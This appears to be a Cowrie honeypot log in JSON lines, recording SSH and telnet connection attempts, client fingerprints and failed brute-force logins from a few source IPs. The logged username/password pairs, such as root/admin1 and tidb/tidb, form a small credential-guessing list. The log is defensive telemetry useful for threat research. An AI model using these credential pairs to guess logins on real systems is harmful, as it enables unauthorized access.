{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54248,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3a48c16d98e","protocol":"telnet","message":"New connection: 50.6.8.71:54248 (10.17.0.5:23) [session: a3a48c16d98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:30.222978Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:30.242437Z","src_ip":"192.109.200.237","session":"2a90b0768839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:30.492101Z","src_ip":"192.109.200.237","session":"2a90b0768839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad8e5a813e1","protocol":"telnet","message":"New connection: 50.6.8.71:54250 (10.17.0.5:23) [session: fad8e5a813e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:31.392853Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:31.582151Z","src_ip":"192.109.200.237","session":"2a90b0768839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55698,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d711129fc73","protocol":"ssh","message":"New connection: 192.109.200.237:55698 (159.203.135.109:22) [session: 3d711129fc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:33.479917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:33.582483Z","src_ip":"192.109.200.237","session":"3d711129fc73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:33.585505Z","src_ip":"192.109.200.237","session":"3d711129fc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:33.973681Z","src_ip":"192.109.200.237","session":"3d711129fc73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:35.059433Z","src_ip":"192.109.200.237","session":"3d711129fc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43622,"dst_ip":"10.17.0.5","dst_port":22,"session":"bac2f99c18c6","protocol":"ssh","message":"New connection: 103.15.222.183:43622 (10.17.0.5:22) [session: bac2f99c18c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:35.189389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:35.194614Z","src_ip":"103.15.222.183","session":"bac2f99c18c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:35.442846Z","src_ip":"103.15.222.183","session":"bac2f99c18c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ferrari","message":"login attempt [root/ferrari] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:36.165852Z","src_ip":"103.15.222.183","session":"bac2f99c18c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.963746547698975,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:36.503736Z","src_ip":"50.6.8.71","session":"c919c7b9e7f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55710,"dst_ip":"159.203.135.109","dst_port":22,"session":"4975e0ddea06","protocol":"ssh","message":"New connection: 192.109.200.237:55710 (159.203.135.109:22) [session: 4975e0ddea06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:36.964144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:36.969223Z","src_ip":"192.109.200.237","session":"4975e0ddea06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:37.052504Z","src_ip":"192.109.200.237","session":"4975e0ddea06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:37.302667Z","src_ip":"192.109.200.237","session":"4975e0ddea06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:37.409288Z","src_ip":"103.15.222.183","session":"bac2f99c18c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:38.389612Z","src_ip":"192.109.200.237","session":"4975e0ddea06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55716,"dst_ip":"10.17.0.5","dst_port":23,"session":"afd4069d4a9d","protocol":"telnet","message":"New connection: 50.6.8.71:55716 (10.17.0.5:23) [session: afd4069d4a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:38.779122Z"}
{"eventid":"cowrie.session.closed","duration":30.85207200050354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:39.635676Z","src_ip":"50.6.8.71","session":"7ac06c7c398f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55720,"dst_ip":"10.17.0.5","dst_port":23,"session":"87154e44ecea","protocol":"telnet","message":"New connection: 50.6.8.71:55720 (10.17.0.5:23) [session: 87154e44ecea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:40.116937Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39086,"dst_ip":"159.203.135.109","dst_port":22,"session":"86f951cf25ef","protocol":"ssh","message":"New connection: 192.109.200.237:39086 (159.203.135.109:22) [session: 86f951cf25ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:40.222501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:40.227885Z","src_ip":"192.109.200.237","session":"86f951cf25ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:40.312178Z","src_ip":"192.109.200.237","session":"86f951cf25ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:40.562194Z","src_ip":"192.109.200.237","session":"86f951cf25ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:41.649351Z","src_ip":"192.109.200.237","session":"86f951cf25ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39104,"dst_ip":"159.203.135.109","dst_port":22,"session":"43664f6a7849","protocol":"ssh","message":"New connection: 192.109.200.237:39104 (159.203.135.109:22) [session: 43664f6a7849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:43.465751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:43.474842Z","src_ip":"192.109.200.237","session":"43664f6a7849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:43.557907Z","src_ip":"192.109.200.237","session":"43664f6a7849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:43.969591Z","src_ip":"192.109.200.237","session":"43664f6a7849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:45.055357Z","src_ip":"192.109.200.237","session":"43664f6a7849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.352293491363525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:46.177098Z","src_ip":"50.6.8.71","session":"43d90fac962c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39132,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7992a03aa0","protocol":"ssh","message":"New connection: 192.109.200.237:39132 (159.203.135.109:22) [session: 5e7992a03aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:46.889796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:46.894959Z","src_ip":"192.109.200.237","session":"5e7992a03aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:46.978737Z","src_ip":"192.109.200.237","session":"5e7992a03aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:47.227775Z","src_ip":"192.109.200.237","session":"5e7992a03aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:48.319207Z","src_ip":"192.109.200.237","session":"5e7992a03aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59460,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d3195c24ac5","protocol":"ssh","message":"New connection: 192.109.200.237:59460 (159.203.135.109:22) [session: 0d3195c24ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:50.119534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:50.123446Z","src_ip":"192.109.200.237","session":"0d3195c24ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:50.206358Z","src_ip":"192.109.200.237","session":"0d3195c24ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:50.456224Z","src_ip":"192.109.200.237","session":"0d3195c24ac5","protocol":"ssh"}
